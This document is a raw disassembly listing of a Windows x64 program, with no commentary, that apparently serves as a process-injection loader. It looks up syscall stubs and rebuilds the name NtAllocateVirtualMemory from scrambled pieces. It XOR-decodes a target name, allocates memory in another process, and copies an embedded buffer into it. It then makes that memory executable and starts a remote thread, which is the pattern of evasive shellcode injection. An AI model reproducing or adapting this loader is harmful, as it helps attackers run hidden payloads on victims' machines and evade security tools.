lea rax, [rbp + 0x263f]
mov rcx, rax
call fcn.140071de0
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x2640]
mov rcx, rax
call fcn.1400a9280
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0x2640]
mov rcx, qword [rbp + 0x2ee0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0x2640]
mov rcx, rax
call fcn.1400a9e30
cmp dword [rbp + 0x2e8c], 0
je 0x14000782a
lea rsi, [0x1401893b4]
jmp 0x140007831
lea rsi, [0x1401893b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f5b0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x28af]
mov rcx, rax
call fcn.140071db0
lea rdx, [rbp + 0x28af]
lea rax, [rbp + 0x2880]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9710
lea rax, [rbp + 0x2860]
lea rdx, [rbp + 0x2880]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2840]
lea rdx, [rbp + 0x2860]
lea r8, [0x1401893ae]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2820]
lea rdx, [rbp + 0x2840]
lea r8, [0x1401893a2]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2800]
lea rdx, [rbp + 0x2820]
lea r8, [0x1401893fa]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x27e0]
lea rdx, [rbp + 0x2800]
lea r8, [0x1401893a6]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x27c0]
lea rdx, [rbp + 0x27e0]
lea r8, [0x1401893a8]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x27a0]
lea rdx, [rbp + 0x27c0]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2780]
lea rdx, [rbp + 0x27a0]
lea r8, [0x140189400]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2760]
lea rdx, [rbp + 0x2780]
lea r8, [0x1401893ee]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2740]
lea rdx, [rbp + 0x2760]
lea r8, [0x1401893f8]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2720]
lea rdx, [rbp + 0x2740]
lea r8, [0x1401893e8]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2700]
lea rdx, [rbp + 0x2720]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x26e0]
lea rdx, [rbp + 0x2700]
lea r8, [0x1401893a0]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x26c0]
lea rdx, [rbp + 0x26e0]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x26a0]
lea rdx, [rbp + 0x26c0]
lea r8, [0x1401893a8]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2680]
lea rdx, [rbp + 0x26a0]
lea r8, [0x14018939e]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2660]
lea rdx, [rbp + 0x2680]
lea r8, [0x1401893ea]
mov rcx, rax
call fcn.1400ba290
lea rdx, [rbp + 0x2660]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9e70
lea rax, [rbp + 0x2660]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2680]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x26a0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x26c0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x26e0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2700]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2720]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2740]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2760]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2780]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x27a0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x27c0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x27e0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2800]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2820]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2840]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2860]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2880]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x28af]
mov rcx, rax
call fcn.140071de0
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x28b0]
mov rcx, rax
call fcn.1400a9280
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0x28b0]
mov rcx, qword [rbp + 0x2ed8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0x28b0]
mov rcx, rax
call fcn.1400a9e30
cmp dword [rbp + 0x2e8c], 0
je 0x140007c14
lea rsi, [0x1401893b4]
jmp 0x140007c1b
lea rsi, [0x1401893b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f5b0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x2b3f]
mov rcx, rax
call fcn.140071db0
lea rdx, [rbp + 0x2b3f]
lea rax, [rbp + 0x2b10]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9710
lea rax, [rbp + 0x2af0]
lea rdx, [rbp + 0x2b10]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2ad0]
lea rdx, [rbp + 0x2af0]
lea r8, [0x1401893e6]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2ab0]
lea rdx, [rbp + 0x2ad0]
lea r8, [0x1401893aa]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2a90]
lea rdx, [rbp + 0x2ab0]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2a70]
lea rdx, [rbp + 0x2a90]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2a50]
lea rdx, [rbp + 0x2a70]
lea r8, [0x1401893a6]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2a30]
lea rdx, [rbp + 0x2a50]
lea r8, [0x1401893a8]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2a10]
lea rdx, [rbp + 0x2a30]
lea r8, [0x1401893aa]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x29f0]
lea rdx, [rbp + 0x2a10]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x29d0]
lea rdx, [rbp + 0x29f0]
lea r8, [0x1401893ac]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x29b0]
lea rdx, [rbp + 0x29d0]
lea r8, [0x1401893a2]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2990]
lea rdx, [rbp + 0x29b0]
lea r8, [0x14018939c]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2970]
lea rdx, [rbp + 0x2990]
lea r8, [0x1401893ae]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2950]
lea rdx, [rbp + 0x2970]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2930]
lea rdx, [rbp + 0x2950]
lea r8, [0x1401893b0]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2910]
lea rdx, [rbp + 0x2930]
lea r8, [0x14018939e]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x28f0]
lea rdx, [rbp + 0x2910]
lea r8, [0x1401893aa]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x28d0]
lea rdx, [rbp + 0x28f0]
lea r8, [0x1401893b2]
mov rcx, rax
call fcn.1400ba290
lea rdx, [rbp + 0x28d0]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9e70
lea rax, [rbp + 0x28d0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x28f0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2910]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2930]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2950]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2970]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2990]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x29b0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x29d0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x29f0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2a10]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2a30]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2a50]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2a70]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2a90]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2ab0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2ad0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2af0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2b10]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2b3f]
mov rcx, rax
call fcn.140071de0
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x2b40]
mov rcx, rax
call fcn.1400a9280
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0x2b40]
mov rcx, qword [rbp + 0x2ed0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0x2b40]
mov rcx, rax
call fcn.1400a9e30
cmp dword [rbp + 0x2e8c], 0
je 0x14000802a
lea rsi, [0x1401893b4]
jmp 0x140008031
lea rsi, [0x1401893b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f5b0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, section..data
mov rcx, rax
call fcn.140001d45
mov dword [rbp + 0x2e88], 0xffffffff
cmp dword [rbp + 0x2e88], 0
jne 0x140008083
lea rax, [0x140189402]
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x2b63]
lea rdx, [rbp + 0x2b70]
mov rcx, rax
call fcn.140001eea
lea rax, [rbp + 0x2b63]
mov qword [rbp + 0x2e68], rax
mov rax, qword [rbp + 0x2e68]
mov qword [rbp + 0x2e60], rax
mov rax, qword [rbp + 0x2e60]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x14000815d
mov rax, qword [rbp + 0x2e68]
mov rdx, qword [rbp + 0x2e68]
mov qword [rbp + 0x2e58], rdx
mov qword [rbp + 0x2e50], rax
mov dword [rbp + 0x2e4c], 0
jmp 0x140008153
mov eax, dword [rbp + 0x2e4c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2e50]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2e4c]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x33
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2e58]
mov eax, dword [rbp + 0x2e4c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2e4c], 1
cmp dword [rbp + 0x2e4c], 0xc
jle 0x1400080f5
nop
lea rax, [rbp + 0x2b63]
mov rcx, rax
call fcn.140001827
mov qword [rbp + 0x2e80], rax
cmp qword [rbp + 0x2e80], 0xffffffffffffffff
jne 0x14000818c
mov ebx, 0
mov esi, 0
jmp 0x140008968
lea rax, [rbp + 0x2b71]
lea rdx, [rbp + 0x2b7e]
mov rcx, rax
call fcn.140001f64
lea rax, [rbp + 0x2b71]
mov qword [rbp + 0x2e40], rax
mov rax, qword [rbp + 0x2e40]
mov qword [rbp + 0x2e38], rax
mov rax, qword [rbp + 0x2e38]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x140008266
mov rax, qword [rbp + 0x2e40]
mov rdx, qword [rbp + 0x2e40]
mov qword [rbp + 0x2e30], rdx
mov qword [rbp + 0x2e28], rax
mov dword [rbp + 0x2e24], 0
jmp 0x14000825c
mov eax, dword [rbp + 0x2e24]
movsxd rdx, eax
mov rax, qword [rbp + 0x2e28]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2e24]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x33
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2e30]
mov eax, dword [rbp + 0x2e24]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2e24], 1
cmp dword [rbp + 0x2e24], 0xc
jle 0x1400081fe
nop
lea rdx, [rbp + 0x2b71]
lea rax, [rbp + 0x10]
mov rcx, qword [rbp + 0x2e80]
mov r8, rcx
mov rcx, rax
call fcn.1400019e7
mov rax, qword [rbp + 0x10]
cmp rax, 0xffffffffffffffff
je 0x140008297
mov rax, qword [rbp + 0x18]
cmp rax, 0xffffffffffffffff
jne 0x1400082a6
mov ebx, 0
mov esi, 0
jmp 0x140008968
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2e78], rax
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x2e70], rax
mov r10, qword [0x1401b5038]
lea rcx, [rbp + 0x60]
lea rdx, [rbp + 0x70]
mov rax, qword [rbp + 0x2e78]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x2e88], eax
cmp dword [rbp + 0x2e88], 0
je 0x1400083a9
lea rax, [rbp + 0x2b80]
lea rdx, [rbp + 0x2b7f]
mov rcx, rax
call fcn.140001fde
mov rax, qword [rbp + 0x2b80]
mov rdx, qword [rbp + 0x2b88]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2b90]
mov rdx, qword [rbp + 0x2b98]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2ba0]
mov rdx, qword [rbp + 0x2ba8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2bb0]
mov rdx, qword [rbp + 0x2bb8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2bbc]
mov rdx, qword [rbp + 0x2bc4]
mov qword [rbp - 4], rax
mov qword [rbp + 4], rdx
mov edx, dword [rbp + 0x2e88]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001ed20
mov ebx, 0
mov esi, 0
jmp 0x140008968
lea rax, [rbp + 0x2bd0]
lea rdx, [rbp + 0x2bcf]
mov rcx, rax
call fcn.140002250
mov rax, qword [rbp + 0x2bd0]
mov rdx, qword [rbp + 0x2bd8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2be0]
mov rdx, qword [rbp + 0x2be8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2bf0]
mov rdx, qword [rbp + 0x2bf8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2c00]
mov rdx, qword [rbp + 0x2c08]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2c09]
mov rdx, qword [rbp + 0x2c11]
mov qword [rbp - 7], rax
mov qword [rbp + 1], rdx
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001ea70
mov r10, qword [0x1401b5040]
mov r9, qword [0x140186000]
mov r8, qword [0x1401b5030]
mov rdx, qword [rbp + 0x70]
mov rax, qword [rbp + 0x2e78]
lea rcx, [rbp + 0x68]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
mov dword [rbp + 0x2e88], eax
cmp dword [rbp + 0x2e88], 0
je 0x140008520
lea rax, [rbp + 0x2c20]
lea rdx, [rbp + 0x2c1f]
mov rcx, rax
call fcn.1400024aa
mov rax, qword [rbp + 0x2c20]
mov rdx, qword [rbp + 0x2c28]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2c30]
mov rdx, qword [rbp + 0x2c38]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2c40]
mov rdx, qword [rbp + 0x2c48]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2c50]
mov rdx, qword [rbp + 0x2c58]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2c5a]
mov rdx, qword [rbp + 0x2c62]
mov qword [rbp - 6], rax
mov qword [rbp + 2], rdx
mov edx, dword [rbp + 0x2e88]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001eb50
mov ebx, 0
mov esi, 0
jmp 0x140008968
lea rax, [rbp + 0x2c70]
lea rdx, [rbp + 0x2c6f]
mov rcx, rax
call fcn.14000270c
mov rax, qword [rbp + 0x2c70]
mov rdx, qword [rbp + 0x2c78]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2c80]
mov rdx, qword [rbp + 0x2c88]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2c90]
mov rdx, qword [rbp + 0x2c98]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2ca0]
mov rdx, qword [rbp + 0x2ca8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2cac]
mov rdx, qword [rbp + 0x2cb4]
mov qword [rbp - 4], rax
mov qword [rbp + 4], rdx
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001ec40
mov r10, qword [0x1401b5048]
lea rdx, [rbp + 0x70]
mov rax, qword [rbp + 0x2e78]
lea rcx, [rbp + 0x7c]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
lea r8, [0x140186000]
mov rcx, rax
call r10
mov dword [rbp + 0x2e88], eax
cmp dword [rbp + 0x2e88], 0
je 0x140008673
lea rax, [rbp + 0x2cc0]
lea rdx, [rbp + 0x2cbf]
mov rcx, rax
call fcn.14000297e
mov rax, qword [rbp + 0x2cc0]
mov rdx, qword [rbp + 0x2cc8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2cd0]
mov rdx, qword [rbp + 0x2cd8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2ce0]
mov rdx, qword [rbp + 0x2ce8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov eax, dword [rbp + 0x2cef]
mov dword [rbp - 0x11], eax
mov edx, dword [rbp + 0x2e88]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001e6d0
mov ebx, 0
mov esi, 0
jmp 0x140008968
lea rax, [rbp + 0x2d00]
lea rdx, [rbp + 0x2cff]
mov rcx, rax
call fcn.140002b28
mov rax, qword [rbp + 0x2d00]
mov rdx, qword [rbp + 0x2d08]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2d10]
mov rdx, qword [rbp + 0x2d18]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2d20]
mov rdx, qword [rbp + 0x2d28]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2d2f]
mov qword [rbp - 0x11], rax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001e7c0
mov r10, qword [0x1401b5088]
mov rax, qword [rbp + 0x70]
mov rdx, rax
mov rax, qword [rbp + 0x2e70]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x2e88], eax
cmp dword [rbp + 0x2e88], 0
je 0x1400087b4
lea rax, [rbp + 0x2d40]
lea rdx, [rbp + 0x2d3f]
mov rcx, rax
call fcn.140002cf2
mov rax, qword [rbp + 0x2d40]
mov rdx, qword [rbp + 0x2d48]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2d50]
mov rdx, qword [rbp + 0x2d58]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2d60]
mov rdx, qword [rbp + 0x2d68]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2d69]
mov rdx, qword [rbp + 0x2d71]
mov qword [rbp - 0x17], rax
mov qword [rbp - 0xf], rdx
mov edx, dword [rbp + 0x2e88]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001e8a0
mov ebx, 0
mov esi, 0
jmp 0x140008968
lea rax, [rbp + 0x2d80]
lea rdx, [rbp + 0x2d7f]
mov rcx, rax
call fcn.140002ecc
mov rax, qword [rbp + 0x2d80]
mov rdx, qword [rbp + 0x2d88]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2d90]
mov rdx, qword [rbp + 0x2d98]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2da0]
mov rdx, qword [rbp + 0x2da8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2dad]
mov rdx, qword [rbp + 0x2db5]
mov qword [rbp - 0x13], rax
mov qword [rbp - 0xb], rdx
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001e990
mov r8, qword [0x1401b5090]
mov rax, qword [rbp + 0x2e70]
mov edx, 0
mov rcx, rax
call r8
mov dword [rbp + 0x2e88], eax
cmp dword [rbp + 0x2e88], 0
je 0x1400088cf
lea rax, [rbp + 0x2dc0]
lea rdx, [rbp + 0x2dbf]
mov rcx, rax
call fcn.1400030c6
mov rax, qword [rbp + 0x2dc0]
mov rdx, qword [rbp + 0x2dc8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2dd0]
mov rdx, qword [rbp + 0x2dd8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2dde]
mov rdx, qword [rbp + 0x2de6]
mov qword [rbp - 0x22], rax
mov qword [rbp - 0x1a], rdx
mov edx, dword [rbp + 0x2e88]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001e500
mov ebx, 0
mov esi, 0
jmp 0x140008968
lea rax, [rbp + 0x2df0]
lea rdx, [rbp + 0x2def]
mov rcx, rax
call fcn.140003248
mov rax, qword [rbp + 0x2df0]
mov rdx, qword [rbp + 0x2df8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2e00]
mov rdx, qword [rbp + 0x2e08]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2e10]
mov rdx, qword [rbp + 0x2e18]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movzx eax, byte [rbp + 0x2e20]
mov byte [rbp - 0x10], al
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14001e5f0
mov rdx, qword [0x1401b5078]
mov rax, qword [rbp + 0x2e78]
mov rcx, rax
call rdx
mov rdx, qword [0x1401b5078]
mov rax, qword [rbp + 0x2e70]
mov rcx, rax
call rdx
mov esi, 1
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9e30
cmp esi, 1
jne 0x14000897e
mov ebx, 0
mov eax, ebx
jmp 0x14000a29c
add rsp, 0x3000
pop rbx
pop rsi
pop rbp
ret